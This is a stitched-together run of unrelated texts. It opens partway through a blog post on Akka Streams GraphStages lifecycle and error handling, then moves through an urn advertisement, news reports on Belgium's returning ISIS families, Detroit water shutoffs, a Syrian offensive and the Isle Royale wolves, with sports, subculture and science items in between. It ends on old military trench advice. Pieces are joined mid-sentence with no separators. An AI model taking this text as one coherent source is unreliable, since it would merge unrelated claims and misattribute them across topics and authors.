We had various issues related to trying to request more elements than we can handle, or emitting more elements that was requested, or trying to access already closed inputs or outputs. We implemented these safety features to fix these problems once and for all. Thankfully, these are available to you, too.
Lifecycle model
On top of the robust error handling model sits the equally useful lifecycle model that simplifies resource management and safe retirement of stages when they stop (failing or normally). The two entry points, preStart and postStop are invoked at the start and the end of the life of a stage. It is very common to put cleanup logic in postStop as it is guaranteed to be called just before the stage goes away. If you happen to throw an exception in postStop, it will be handled, preventing it to do harm to anybody else. If you use IO or other external resources, this is a life-saver.
It is a quite common mistake, especially in more complex graph processing settings with multiple ports to forget to stop the underlying machinery (an actor, thread, or just cleaning up internal state). GraphStages by default automatically stop once all of their input and output ports have been closed (internally or externally). This prevents this common mistake, and also makes it possible to write certain stages in a very elegant way, delegating completion to this built-in mechanism. If you need to keep the stage alive for some reason (for example because it needs to do some extra rounds of communication with a 3rd party library to close it gracefully) it is possible to do so, too.
Apart from usual stream termination cases caused by completion or in-stream failures, we also handle when the ActorSystem or Materializer backing the running stream is stopped. You can simply pull the plug on an ActorSystem by calling terminate() and all stream stages will attempt to properly stop themselves, calling postStop() along the way before the system fully stops. This is among the reasons why postStop() is such a valuable tool for resource cleanup.
Out-of-the-box graph support
What if you need something more complex, something with multiple inputs and outputs? You already have what you need. When it comes to GraphStages there is no special casing for any of the common cases like Sink, Source or Flow. If you have implemented any of these, your knowledge immediately transfers to the more general graph cases ( BidiFlow, fan-in and fan-out stages, or arbitrary other shapes). While this approach means that you need to write a little bit more boilerplate in the simple cases like writing a Sink, once you learn the basics you don’t need to learn a different API for the generic cases.
Support for asynchronous side-channels
In many cases, might need to receive events from the external world in a non-streaming way while interacting with streams. Timers are one example, but we might be also interested in a completion of a Future, or we might want to receive messages from an actor. This is all possible with GraphStages, without forfeiting any of the nice safety features! External events are handled in your stage via callback you provide. These still maintain the sequential ordering guarantee just like any of the stream related callbacks. You can still safely access the state of your stage. And of course, error handling works as usual.
These features will all be detailed in future posts of this series, for now, you can look at the documentation for more detailed explanation: (Using timers, Using asynchronous side-channels)
Is there anything else?
Yes there is ;-) Let’s not go that deep in this post, it is rather lengthy already. I hope I managed to demonstrate the underlying complexity (and the abyss) of writing correct stream processing stages. There are edge cases, undefined behavior, resource leaks lurking around every corner when you go down to raw Reactive Streams interfaces. We have been there, and we wanted to solve the problems we encountered once and for all, and provide an abstraction that we use internally and something that we can rely on. Today, practically all of our built-in operators are implemented as GraphStages.A revolution is upon us on Earth to move from a pollution and waste dependent society to one of sustainability andenvironmentally friendly initiatives. Trees are the lungs of our planet. The more trees we plant, the cleaner our air for generations to come. We are very proud to now offer our audience the Bios Urn, a funerary urn made frombiodegradable materials that will turn you into a tree after you die. Inside the urn there is a pine seed, which can be replaced by any other seed or plant, and will grow to remember your loved one. Bios Urn transforms death into life through nature.
The funeral services industry including funeral homes, crematoriums and cemeteries generates billions. Manycompanies in the the industry have a poor reputation for consumer abuses, but the services continue to be necessary for virtually every family. Problem areas include high costs, fraudulent prepaid funeral plans, high-pressure casket sales, sales of unnecessary products and possible environmental pollution at cemeteries.
Poisonous embalming fluid, sealed caskets and cement burial vaults damage the environment and a growing number of people with environmental concerns are choosing green burials. As a general rule, green burials avoid the use of embalming fluid and can be considerably less costly than traditional burials.
The Heart of The Bios Urn
Designed to achieve success in the ritual. The top part of Bios Urn is especially designed to allow the seed to sprout. Before you bury the urn, you will need to mix the components with some soil from where you want your tree to grow. The components will naturally facilitate germination of the seed when mixed with soil.
A Magnificent Body
Form follows function. Thanks to its structure, Bios Urn keeps the seed separate from the |
they saw cruelties and could also be radicalized, so we have to follow them when they come back.”
Thus, Belgium’s strategy for dealing with families such as Abu Fouad’s will be one of strict “criminal justice,” he said.
Under questioning from Belgian prosecutors, Umm Dounia, the wife and mother whose decision launched the family’s life-altering journey two years ago, said she is painfully aware of her mistake and hopes eventually to have a second chance — “even if it is under strict conditions,” she said.
“I want a peaceful life here. I want my children to have a normal life,” she said. “I’m sorry. I feel bad for what I did.”
She continued in a ramble. “Never again,” she said. “I do not know what to say.”
Sly reported from Kilis, Turkey. Julie Tate in Washington contributed to this report.
Read more:
Arrested German spy was a gay porn actor and secret Islamist
U.S. increasingly sees Iran’s hand in arming Bahraini militants
ISIS’s No. 2 hid for months. The day he stepped out, the U.S. was waitingFord utilizes the segment’s only start-stop engine in the 2015 Ford F-150 pickup
Among the many leaps and bounds in engine technology that automotive manufacturers have made in the past decade or so, the most prominent is probably hybrid engine technology. But the most recognized innovations are not always the most effective ones, which is why Ford continues to devote resources to advancing beyond its peers in fuel-saving technology. This is why the new 2015 Ford F-150 pickup will include the segment’s only engine with auto start-stop technology from the highly lauded 2.7-liter EcoBoost engine.
The difficulty that many drivers will recognize is in creating a motor that can do everything that is demanded of a pickup truck, but still maintain good fuel economy on the roads around a city like Louisville. The Ford F-150 has long held a special place as a workhorse vehicle, and the way the designers achieved the power was by combining turbocharging technology with fuel saving features to create a new Ford pickup truck that can compete with most regular cars in miles-per-gallon. The power produced by this technology in the 2.7-liter EcoBoost V6 allows it to preserve the effectiveness of a regular mid-range V8 engine.
But the truly impressive development here is the auto start-stop capability, which means that in certain situations, the engine will shut off completely and start immediately when the truck returns to motion. The system is adapted for trucks so the engine won’t shut off during four-wheel drive or towing modes. But during regular city driving, having the engine switched off while stopped saves plenty of fuel, and advanced technology allows the engine to start quickly and seamlessly when the driver lets off of the brake.Experts posit that jobs of the future will include roles such as neuro-implant technician, 3-D printer design specialist, and virtual reality experience designer. While it may be hard to imagine a time when such positions will be part of the regular employment landscape, not long ago, jobs such as iOS and Android developer or chief happiness officer didn’t exist.
Candidates looking to make a leap into an emerging role need to shore up related skills, think about reinvention, and perhaps focus on an organization focused on social good to boost their portfolio and work with a purpose. For recruiters hiring for emerging roles, it’s a bit trickier, according to the experts at Caliper, a talent-assessment firm that uses data to map the strengths and weaknesses of managers and employees.
These jobs are gaining traction because they are data driven: In an age where Big Data is more than a buzzword, it’s embedded in almost every business. But the jobs are more than the sum of numbers and analysis. The best candidates will have an equal supply of facility to analyze data and the soft skills that constitute creative approaches to collaboration and problem solving.
Thomas Schoenfelder, Caliper’s senior vice president of research and development, says that there are several ways for hiring managers to assess the applicant’s skill with data analysis.
Shoenfelder recommends asking the candidate about a problem they had to solve. He suggests qualifying it as one that they were not provided with much information to inform the decision, and asking first how they went about identifying and gathering the correct data.
The candidate should be able to detail the process they used for analyzing the facts, and what criteria they used to base their conclusions.
The line of questioning shouldn’t end there. Schoenfelder also advises taking a slightly different tactic that includes asking about an experience where data had to be analyzed in order to make a decision. What process the candidate used to ensure the conclusion was sound, as well as the end result, offers another look into the interviewee’s reasoning and experience. So does asking them to describe a situation that called for careful consideration to ensure the conclusion drawn was correct. “What were the stakes involved, and what sort of due diligence did you perform?” Schoenfelder asks.[van id=”van/ns-acc/2017/10/27/MW-007FR_CNNA-ST1-1000000004422b90″]
A man who got trapped in a Wisconsin convenience store cooler this week started drinking, a decision that ultimately landed him behind bars, according to police.
Jeremy Van Ert, 38, stopped into a Kwik Trip store in Marshfield to buy beer on Tuesday just before the midnight cutoff for alcohol sales. When he went into the store’s cooler to retrieve his beverage of choice, however, the door closed behind him and the clock struck midnight, locking him in, according to WISN in Milwaukee.
Van Ert proceeded to drink three cans of Four Loko and an 18-ounce can of Icehouse beer, WISN reported, citing the police report.
While the man may have been living it up while locked in the cooler, he wasn’t actually trapped. The store is open 24 hours a day and police say Van Ert just needed to knock on the cooler’s glass door to get the attention of an attendant.
“The subject found himself locked in the beer cooler, knew that Kwik Trip would not sell him any beer, so he decided to remain in the beer cooler,” Marshfield Police Chief Rick Gramza told television station WAOW. “A customer came by the beer cooler at about 6 a.m. and saw him inside.”
Employees opened the door and said Van Ert left without paying for his drinks. Staff at the store also told authorities the man toppled and damaged three 30-packs of beer.
Van Ert tried to run but was eventually arrested and charged with retail theft. He also violated a probation hold that required him to stay sober, according to WISN.Last week, residents of the Houston area had a rare opportunity to watch a historic aviation event: the formation flight of three WB-57 research aircraft. Why historic? Well, November 19th was the first time that all three of NASA’s WB-57s have been aloft simultaneously since the early 1970s.
The WB-57 was developed from the Martin B-57 Canberra USAF jet bomber in order to fly research missions. NASA explains:
These fully operational WB-57 aircraft are based near NASA’s Johnson Space Center at Ellington Field, home of the NASA WB-57 High Altitude Research Program, which provides unique, high-altitude airborne platforms to support scientific research and advanced technology development and testing. Mission examples include atmospheric and earth science, ground mapping, cosmic dust collection, rocket launch support, and testbed operations for future airborne or spaceborne systems.
Advertisement
The B-57 bombers were retired in 1983, only three flightworthy WB-57Fs remained. Below are a few more photos of the event.
Advertisement
AdvertisementOne Tuesday afternoon, the Syrian Arab Army’s 9th Armored Division – in coordination with Fouj Al-Joulan (Golan Regiment), Liwaa Suqour Al-Quneitra (Al-Quneitra Hawks Brigade), and the National Defense Forces (NDF) – launched a fresh offensive at the town of ‘Umm Batna in the Al-Quneitra Governorate after almost a year of inactivity on this front.
The Syrian Armed Forces conducted a joint assault with the local Druze militiamen at the towns of Al-Samdaniyah Al-Sharqiyah and ‘Ajraf, killing a confirmed 16 enemy combatants from the Free Syrian Army’s “Southern Front Brigades” and the Syrian Al-Qaeda group “Jabhat Al-Nusra” before the fighting dissipated by nightfall.
The new offensive in the northeastern countryside of the Al-Quneitra Governorate is likely to be rather small, as the Syrian Armed Forces nitpick at different points that are part of the Dara’a and Al-Quneitra triangle; this assault will model the recent offensive launched by the Syrian Arab Army’s 15th Brigade of the 5th Armored Division in the town of Kafr Shamis.
It should come as no surprise that the end goal for these small-scale offensives is the eventual capture of Al-Harra in the Houran Plains; this is a strategic city located on the border of the Dara’a and Al-Quneitra Governorates.
If the Syrian Armed Forces can capture Al-Harra, they will have effectively cutoff the rebel’s main supply line from the Dara’a Governorate to their positions in the Al-Quneitra Governorate.
AdvertisementsGardeners should take extra care when handling old bags of compost after a man died from kidney failure after inhaling poisonous fungal spores, doctors have warned.
The 47-year-old welder from Buckinghamshire, who has not been named, died in intensive care a week after being engulfed by "clouds of dust" when he opened bags of rotting plant material that had been left to fester, in a case reported in the Lancet.
Doctors were baffled by his condition until his partner said he had fallen ill after working in the garden. Later tests revealed he had developed acute aspergillosis, a dangerous reaction to Aspergillus fumigatus spores. The fungus, which is commonly found growing on dead leaves, compost piles and decaying vegetation, may trigger a relatively harmless allergic reaction but can cause serious problems if too many spores get into the lungs.
David Waghorn, a doctor at Wycombe hospital in Buckinghamshire and a microbiologist, said the man had been unlucky: "He'd been opening bags of compost and mulch which had been left to rot. The fungus spores had grown in perfect conditions. He was extremely unlucky - there must have been a very large number of spores which he inhaled."
People with weak immune systems are particularly vulnerable. "What we don't know is how strong his defences were. He was a smoker and a welder by trade and his lungs may have been damaged. It's a very unusual thing to happen but if people are dealing with big bags of mulch, there is a potential danger," said Waghorn.
The man, who had previously been healthy, became ill 24 hours later, but was not admitted to hospital until a week later, when he complained of chest pains and breathing difficulties. Despite being given oxygen by medical staff, tests showed his tissue was starved of oxygen and that he was suffering from "overwhelming sepsis", a life-threatening condition caused by an overactive immune system. Symptoms include a fast heart rate, low blood pressure and kidney problems.
Doctors initially thought he had developed pneumonia from a bacterial infection but treatment with antibiotics was not successful. Once aspergillosis was confirmed, intravenous antifungal drugs were given by doctors, but the treatment came too late.
Waghorn said: "I don't know if he could have been saved had we known about the spores, but we could have given the antifungal drugs sooner."
The authors of the article said that while acute aspergillosis after contact with decayed plant matter is rare, it "may be considered a hazard for gardeners".
In April, a group of German scientists raised concerns about the dangers of airborne mould spores produced when organic waste decayed. The spores could lead to allergic reactions, asthma attacks and hayfever-like symptoms, they said.
Harald Morr, a leading pneumologist, said: "Even just opening the lid of a bin containing organic waste can cause mould spores to be stirred up which, if breathed in, can damage the lungs."
Householders who regularly handled organic waste were advised to wear face masks and to keep a distance when handling rotting material.CLOSE Fayette Coleman talks about her water shutoff and how she collects rain water for her daily use.
Buy Photo Fayette Coleman uses a knife to chip through ice during a cold spell last month. The former factory worker who has health problems has lived without running water since 2013. (Photo: Clarence Tabb Jr., The Detroit News)Buy Photo Story Highlights A third of all Detroit residential accounts — 68,000 of 200,000 — are at least 60 days past due.
As of Thursday, 9,200 residential customers face shutoffs
39,000 residents are on payment plans
How do you survive without running water for more than two years?
First, get a trash can. Put it under the roof to collect water to flush the toilet. Then, get a bucket and remember what your grandparents taught you in the early 1950s, before indoor plumbing reached all of rural America.
“You use your brain. You scramble. You survive because you’re used to dealing with nothing,” said Fayette Coleman, 66, who grew up fetching water from wells in Belleville.
She hasn’t had running water in her Brightmoor house since May 2013. The crumbling home is one of at least 4,000 in Detroit — and perhaps many more — whose water was never turned back on after massive shutoffs attracted international attention last year.
The outcry faded, but the situation hasn’t. Within a block of Coleman’s house on Fielding near Lyndon, at least three neighbors have endured shutoffs, including one who spent months walking up the street, twice a day, to fill buckets at a friend’s before service resumed in mid-November.
Citywide, a third of all residential accounts in Detroit— 68,000 of 200,000 — are at least 60 days past due, city records show.
The water issue is coming to light as a special panel studying water affordability is expected to present its plan to the Detroit City Council in January. The group expects to consider recommendations — including lower prices for low-income residents — when it meets for the last time Tuesday.
Help is available, said Gary Brown, director of the Detroit Water and Sewerage Department. Some 39,000 residents are on payment plans, and the city has nearly $1 million available in payment assistance.
“If you come in and say you are having an issue, we can find ways to help people,” Brown said. “But you have to come in.”
More money is expected to be available next year through a program by the Great Lakes Water Authority, a newly created regional system that manages water and sewer in the three-county system. It is setting aside 0.25 percent of annual revenues to help pay bills for those whose incomes are 150 percent of the poverty level or less.
That’s expected to raise $4.5 million in its first year.
That’s a tenth of the total delinquency for city residential customers, $42.9 million.
As of Thursday, 9,200 residential customers face shutoffs, Brown said.
Coleman gets by using bottled water for drinking, much of which she gets from charity. She heats water for sponge baths and flushes the toilet only after bowel movements. Otherwise, she does without.
“One thing I really miss is washing my clothes,” said Coleman, a former factory worker with multiple health problems who lives on a Social Security disability check of $954 per month.
“Once every couple of months, when I’m able to get some money, I can go to the laundromat.”
Poverty in Detroit
Detroit water officials acknowledge poverty complicates bill collection in Detroit. Here’s a look at the concentration of poverty in Detroit by ZIP code, according to the latest U.S. Census data released this month. Note: ZIP codes include Hamtramck and Highland Park. Data for the Detroit portion of 48236, 48239 and 48240 was not available. Source: U.S. Census, Michigan Department of Health and Human Services
(Mobile devices: View our interactive map of poverty in Detroit)
Too poor to pay
Detroit’s crushing poverty makes collections a challenge, Brown acknowledged.
Nearly half of the city, 42 percent, receives food stamps, state records show. Sixty percent of households with children under 18 live in poverty, census records show. The average past-due water bill is $627 — nearly a month’s income for an individual living on Supplemental Security Income, which is capped at $733 per month.
“I have $3 to my name,” Billie Williams, 53, said in late November, as he paced the living room of his rented house in northwest Detroit. His water was cut off over a $677 balance.
The onetime Wayne County forestry worker hasn’t had a job in 20 years, after his wife left him with two severely autistic children to care for. One died in April from complications of diabetes, prompting Williams to borrow money for the funeral and wreck his already precarious finances.
“This is a nightmare. I can boil (bottled) water and clean myself up, but what do I do about him?” Williams asked, pointing to his son.
Garmel Williams is 23. He’s about 250 pounds, nonverbal and comes across as aggressive. Every minute or so, he pushes Williams, who swats away his hand.
Garmel is not toilet trained.
“He sleeps in diapers. They leak. The sheets get wet. How am I supposed to wash them?” the father asked.
Williams, who lives on public assistance, took advantage of a Detroit program that restores water for 21 days for those with medical emergencies. He got assistance from the Detroit Water Brigade, a grass-roots group that helps with deposits and supplies water to those without.
The reprieve was short-lived. In early December, the water was turned off. Now Williams is looking for another rental with running water.
“Everything looks like it’s falling down around me,” he said.
Buy Photo Billie Williams, 53, a former Wayne County forestry worker hasn't had a job for 20 years. He cares for his 23-year-old severely autistic son. His water was cut off over a $677 balance. (Photo: Clarence Tabb Jr., The Detroit News)
‘Shutoffs never stopped’
Detroit keeps detailed records on shutoffs, but its billing systems have no way of knowing how many residents remain without water, Brown said.
“That’s one of the challenges,” said Brown, who added his top priority is to fix the issue.
The 4,000 households estimate comes from November city records indicating Detroit shut off water to 22,800 accounts in the past 12 months and resumed service to 18,800 of them. The figure includes an unspecified number of vacant homes and doesn’t include several months of shutoffs in 2014.
Either way, the estimate is far too low, argued Monica Lewis-Patrick of We the People Detroit, a grass-roots group fighting shutoffs. Her group has partnered with several universities to survey customers. It estimates water was never turned back on to at least 17,000 occupied homes.
That would be the equivalent of every home in a city the size of Lincoln Park.
“The shutoffs never stopped,” Lewis-Patrick said. “It’s unbelievable that, amid this renaissance and rejuvenation in Detroit, you have people living in these abject conditions.”
Wayne Metropolitan Community Action Agency, a nonprofit that administers relief, has received an average of 140 calls per month since August 2013 from customers facing shutoffs, its records show.
The agency has assisted 1,713 households, including that of Dekota Booker. Her water was shut off in August over a $3,800 bill. For months, she retrieved water in buckets from a friend up the street.
During the shutoff, Booker said she was hospitalized for a thyroid condition and an infection. She described herself as a cancer survivor who lives on Social Security.
“It’s a crisis out here. If you ain’t got nobody to help you, what are you going to do — die in that house alone?” she asked.
Booker’s water was turned back on in November after she got cash assistance from Wayne Metro, which required her to take classes in conservation and money management. Now, about 20 percent of her total income, $150 per month, goes to pay her water debt and monthly bill.
“Even now, I keep reaching for those buckets,” said Booker, 44. “I forget that I can just turn on a tap. I always feel like there’s another bucket that needs to be filled up.”
She lives around the corner from Coleman, who spends much of her days sitting in a wheelchair walker. Her daughter, who lives nearby, pays for her cable bill and recently gave her a car that doesn’t work. A son lives in Belleville. She doesn’t want to ask them for help.
“I wouldn’t want to impose,” said Coleman, who had a small stroke this year and has heart and lung problems.
“I limit my visitors. It’s embarrassing. You live in struggle every day.”
Coleman’s situation, in many ways, is uniquely Detroit. And it underscores how complicated water shutoffs can be.
She moved into the house about five years ago when her old rental down the street caught fire. Coleman mailed her $400 monthly rent to a property manager and never knew her landlord.
Inside the cramped home, she keeps a stack of water bills.
Initially, they were for $23 a month, which she paid. In 2013, the bill dropped to $0 for several months. She thought that meant the account was paid in full.
It wasn’t.
Buy Photo Fayette Coleman talks about her water bill. (Photo: Clarence Tabb Jr., The Detroit News)
$7,000 water bill
Coleman said she was surprised to learn a separate, larger bill was going to a post office box — and the rental had gone into tax foreclosure in early 2013. That May, another bill arrived at her door: More than $7,000 was owed at that address. Coleman needed $700 to keep the water on.
“How do you let someone’s bill get to $7,000?” Coleman asked. “You know I can’t pay that. You know this ZIP code. Nobody can pay that here.”
Court records indicate the landlord, who lived in Macomb County, filed for bankruptcy in 2015. The News couldn’t reach her for comment.
Since 2014, the Detroit Land Bank has owned the house, property records show. The agency has “no obligations to pay water bills” in homes it acquired through tax foreclosure because the process wipes away all water debt, Craig Fahle, a spokesman for the land bank, wrote in an email.
Coleman hasn’t paid rent in more than a year. She hopes to buy the house — with help from activists — through a program that allows tenants of 4,500 occupied Land Bank homes to buy them with a $1,000 down payment and 12 payments of at least $100.
Until then, she can’t get on a payment plan because she lacks a lease.
Among other reforms to be unveiled in January, Brown said the system will switch to a billing system that ties accounts to individuals, rather than property numbers.
Now, they’re addressed to “resident,” so the city doesn’t know who its customers are or whether they’re in need of help.
The system made it possible for absentee landlords — and tenants — to skip out on bills and accumulate big debts.
It also makes it possible for vacant homes, stripped of plumbing by vandals, to rack up monstrous debts.
Last year, 484 tax-foreclosed homes had water bills of more than $5,000, Wayne County records show. This year, the number fell to 263.
Meeko Williams, a member of the panel considering water affordability plans, said the system is as broken as it was a year ago. He argues the problems are so vast the city should offer amnesty for all delinquent customers until the billing system and other issues are fixed.
[email protected]
Twitter: @cityhallinsider
News Staff Writer Christine MacDonald contributed.
A look at the numbers
More than half of Detroit’s 200,000 water customers are at least 60 days past due on bills. The system shuts off water service for those who are 60 days delinquent and owe more than $150. Here’s a breakdown of the numbers:
200,000 water customers
108,000 are 60 days past due
39,000 on payment plans
15,000 owe less than $150
45,000 are “unaudited accounts” that can involve multiple accounts at single addresses, vacant properties and unauthorized service
9,200 eligible for shutoff
Source: Detroit Water and Sewerage Department
Read or Share this story: http://detne.ws/1Ye7xqnRice is one of the most important crops worldwide, as it feeds over half of the world's population. Domesticated rice is an important supply of the world's rice. However, these strains are genetically static and cannot adapt to changing growing conditions. Traditional varieties, or landraces, of rice are genetically evolving and provide a pool of traits that can be tapped to improve crops worldwide.
Research from Barbara A. Schaal, Ph.D., the Mary-Dell Chilton Distinguished Professor of biology in Arts & Sciences at Washington University in St. Louis, and her colleagues at Chiang Mai University in Thailand shows how natural genetic drift and agricultural practices of the traditional farmers combine to influence the genetic diversity of a given landrace of rice.
Schaal is also involved in science policy, serving as vice president of the National Academy of Sciences and recently appointed to the President's Council of Advisors on Science and Technology.
Schaal and her colleagues studied a landrace of rice grown by the Karen people in Thailand. They compared the genetic variation among the same variety of rice grown in different fields and villages. The genetics of the rice population fits the isolation by distance model, much like a native plant species. The further apart fields are, the more genetically distinct they are.
The research, published in the Proceedings of the National Academy of Sciences, is funded by the McKnight Foundation and the Thailand Research Fund.
In the lowlands of Thailand, farmers grow modern high-yield rice. In the hills, the Karen people practice traditional agriculture, growing ancestral varieties of rice with traditional practices. Expert farmers play a role in maintaining their crop's genetic diversity by exchanging and choosing seeds to plant the following year.
"It's interesting to see how the expert farmers interact with the plants. For example, there was a purple mutation that occurred in one of the expert farmer's fields. He was very curious about it. He took the seeds and grew it off in a corner because he wanted to see what it looked like and tasted like. That's probably how humans domesticated plants, smart people were making smart choices in what to plant and grow," Schaal said.
Many crops grown today have been genetically optimized to consistently give a large yield. Seeds are purchased from a supplier and the plants are all genetically similar.
"Most modern varieties of crops, like corn in the Midwest or high-yield rice in the lowlands of Thailand, are artificial constructs developed by plant breeders. They are extraordinarily important in feeding the world. But they are static and not evolving in farmer's fields," Schaal said.
The rice that the Karen people grow is genetically dynamic, due to natural drift and the farmer's artificial selection. Each year, the farmers choose the seeds that grow best in their fields, which may differ in soil type, elevation, and temperature from other fields, to plant next season. Their crop is constantly evolving in response to local conditions.
"My colleagues believe that those local varieties bred within a village are better than any one single variety could be. Under these circumstances, the farmers have it right," Schaal said.
Although most agriculture in the United States focuses on growing high-yield crops to produce food for people living in cities, landraces of corn and other crops exist in seed banks.
"There is a movement among Native Americans in Arizona to grow ancestral varieties of crops. These varieties are important because they are adapted to hot and dry conditions, something that will become more prevalent as our climate changes," Schaal said.
Time will tell if those farmers "get it right" too.Manchester City’s search for a goalkeeper has led them to inquire about the availability of the former Manchester United and Barcelona player Víctor Valdés.
Valdés has been released by Manchester United having played only two first-team games after he was ostracised by the then United manager Louis van Gaal, who accused him of refusing to play in a reserve game. The former Barcelona No1 responded to Van Gaal’s criticism by posting a montage of photos on Twitter that showed a number of reserve-team matches he had played in.
Valdés had joined United while he continued his rehabilitation from a knee ligament injury and is now fully fit. The 34-year-old spent the last six months on loan at Standard Liège, where he played six times.
Were Valdés to join City he would reunite with Pep Guardiola, under whom he won La Liga and Champions League titles at Barcelona. His contract at United expires on 30 June.The scene subculture is a subculture that was common during the late 2000s and early–mid 2010s. Members of this subculture are called scene kids, scene people, or scenesters. Scene people are known for their fashion consisting of skinny jeans, bright colored clothing, and straight, flat hair with long bangs covering the forehead, sometimes with the hair being dyed colors like blond, pink, red, green, or bright blue. Scene people are known for listening to multiple types of music artists, specifically artists like crunkcore and electropop artists such as Blood on the Dance Floor and deathcore, electronicore and metalcore bands such as Bring Me the Horizon and Asking Alexandria.
The scene subculture began in the mid 2000s and became common during the late 2000s and early–mid 2010s. During the late 2000s and early–mid 2010s, scene fashion became common and music that scene people listen to achieved underground, moderate or mainstream success. Music artists like Bring Me the Horizon, Asking Alexandria, and Blood on the Dance Floor achieved moderate success while music artists like 3OH!3, Metro Station, Cobra Starship, and Owl City became extremely mainstream. In the late 2010s, the scene subculture declined. The scene subculture has been confused with the emo subculture.
Subculture [ edit ]
Fashion [ edit ]
Scene fashion consists of skinny jeans, bright colored clothing, ear gauges, sunglasses, piercings, shirts with neon colors, and straight, flat hair with long bangs covering the forehead and sometimes one of both eyes, with the hair sometimes being dyed colors like blond, pink, red, green, or bright blue.[1][2][3] According to The Guardian, a scene girl named Eve O'Brien described scene people as "happy emos".[3] Scene kids' hairstyles have caused scene fashion to be confused with emo fashion.[2]
Music [ edit ]
Scene people are known for listening to multiple kinds of music artists, specifically artists like Falling in Reverse, Brokencyde, Blood on the Dance Floor, The Bunny the Bear, Mayday Parade, Jeffree Star, Issues, Pierce the Veil, All Time Low, Bring Me the Horizon, For All Those Sleeping, Chunk! No, Captain Chunk!, Black Veil Brides, Eskimo Callboy, I See Stars, Attila, These Hearts, I Set My Friends on Fire, Enter Shikari, Family Force 5, Breathe Carolina, Restart, Attack Attack!, Abandon All Ships, The Devil Wears Prada, Lights, 3OH!3, Paramore, Asking Alexandria, Hey Monday, Cute Is What We Aim For, Millionaires, Iwrestledabearonce, Boys Like Girls, Sleeping with Sirens, Dance Gavin Dance, We Came As Romans, Jamie's Elsewhere, Metro Station, and Design the Skyline.[1][4][5][6][7][8][9][3][10][11]
History [ edit ]
Lee Malia of Bring Me the Horizon in 2007
The scene subculture began in the mid-2000s after the emo subculture became mainstream. During the mid-2000s, scene people were in the early deathcore music scene. In a 2005 article by Phoenix New Times, writer Chelsea Mueller described the appearance of the band Job for a Cowboy (a band that was deathcore at the time) by writing that the band "may look like scenesters with shaggy emo haircuts and tight pants, and may mock metal greats, but this death-metal band is for real."[5] Mueller described Job for a Cowboy as "five guys in girls' jeans and tight band tee shirts".[5] Another deathcore band, Bring Me the Horizon, was also involved in the early deathcore scene. Bring Me the Horizon is known for being listened to by scene people.[6] The band Blood on the Dance Floor was a followed by scene kids, especially from 2009 when Jayy Von Monroe joined as lead singer.[12]
According to an article by The Sydney Morning Herald from March 30, 2008, emo people have criticized the scene subculture with emo people accusing scene people of "ripping off their style".[2] During the late 2000s and early–mid 2010s, the scene subculture became a big subculture, with many music artists listened to by scene people achieving underground, moderate or mainstream success. Scene kids were hated by metalheads, who would refer to scene music artists as "shitcore", "emocore", or "mallcore". These metalheads were known for hating genres of heavy metal music that had names ending with "core".[13]
In the late 2010s, the scene subculture declined.[1]
See also [ edit ]A Mystery Solved: 3 Wolves Drowned in Old Mine Shaft at Isle Royale National Park
By Jennifer Donovan | Published 2:29 p.m., June 14, 2012
Romeo, one of the wolves that died in the mine shaft, is seen here following a female wolf in 2010. His eagerness to mate earned him his nickname.
During their 2012 Winter Study, Michigan Technological University population biologist John Vucetich and wildlife ecologist Rolf Peterson started wondering where the wolves of Isle Royale National Park had gone. They only found nine wolves, and as far as they could tell, only one was a female. They expressed serious concern that the wolves of Isle Royale might be well on their way to extinction.
Now they know what happened to at least three of those wolves, one of them a young female, who likely would have contributed to the population’s viability in the future.
In late May, National Park Service biologist Ted Gostomsk reported one or more animal carcasses floating in water in a deep, 19th century mine shaft at Isle Royale. With the aid of the Park Service, Peterson and his wife, Carolyn, went in to investigate. They recovered and examined what was left of the animals and then collected the bones..
"We found there had been a real catastrophe in early winter, before we arrived on the island in January,” said Vucetich. “There were three dead wolves from the Chippewa Harbor Pack in the shaft: a collared male that we had been unable to locate this winter, an older male—maybe the alpha male—and a female born in 2011.
“We believe the incident occurred between mid-October and mid-January,” Vucetich went on to say. “There is no way to know how the three wolves ended up falling into the pit, but very likely, accumulating snow and ice played a role in the accident.
The collared wolf was Romeo, whom the researchers could not locate during their 2012 Winter Study, although they picked up his collar signal briefly once or twice.
“We now understand a major reason for the decline in pack size of the Chippewa Harbor Pack in 2012, and perhaps why we saw such a desultory pattern of travel and low kill rate in this pack,” Vucetich said. The pack seemed to have no “game plan” following the large loss of so many individuals, he explained.
The drowned female pup and the old male showed noticeable fat in their internal body organs, suggesting they were not suffering from a food shortage before they died. “This was true even for the old male, who had very heavily worn/broken teeth and a healed fracture in one femur that left one of his back legs 1.5 inches shorter than the other,” the scientist noted.
Vucetich and Peterson point out that the young female was lost at a critical time in the wolves’ history, when a shortage of females represents the largest extinction risk for the population. The researchers noted breeding activity in a pack of two animals during the 2012 winter study, and in the spring of 2012 found an additional female in the Chippewa pack. There were no signs of breeding with this female.
The National Park Service will be investigating potential safety issues associated with the historic mine shaft in which the wolves died. The mine shaft dates to the time of the Pittsburgh and Isle Royale Company, which operated in the Todd Harbor area between 1846 and 1853.
“This is not the first time we have been fortunate enough to learn about discrete events that have greatly influenced this population of wolves,” stated Phyllis Green, park superintendent, referencing this event and the discovery of canine parvovirus, which caused the population decline of the early 1980s. “Random events often play a large role in isolated, island populations and although tragic, information from this event will serve to help us evaluate future management of this population.”
Meanwhile, Peterson and Vucetich are cleaning the bones of the dead wolves and examining their spines—affected by inbreeding history—to collect some data about the animals. They will also be doing DNA analysis to determine or confirm the animals’ age and prior history.
Supported by the National Park Service (NPS), the National Science Foundation (NSF), Michigan Tech, and numerous private donors and field volunteers, the wolf-moose study at Isle Royale National Park has been going on for more than 50 years, the longest continuous predator-prey study in the world.
Michigan Technological University is a public research university, home to more than 7,000 students from 54 countries. Founded in 1885, the University offers more than 120 undergraduate and graduate degree programs in science and technology, engineering, forestry, business and economics, health professions, humanities, mathematics, and social sciences. Our campus in |
if they are very numerous or very far off, this is impossible; only do not then hope to surprise the enemy.
9. Do not forget that, if guns are going to be used against you, a shallow trench with a low parapet some way from it is worse than useless, even though the parapet be bullet-proof ten times over. The trench gives the gunners an object to lay on, and gives no protection from shrapnel. Against well-aimed long-range artillery fire it would be better to scatter the defenders in the open, hidden in grass and bushes, or behind stones or ant-hills, than to keep them huddled in such a trench. With your men scattered around you can safely let the enemy fill your trench to the brim with shrapnel bullets.
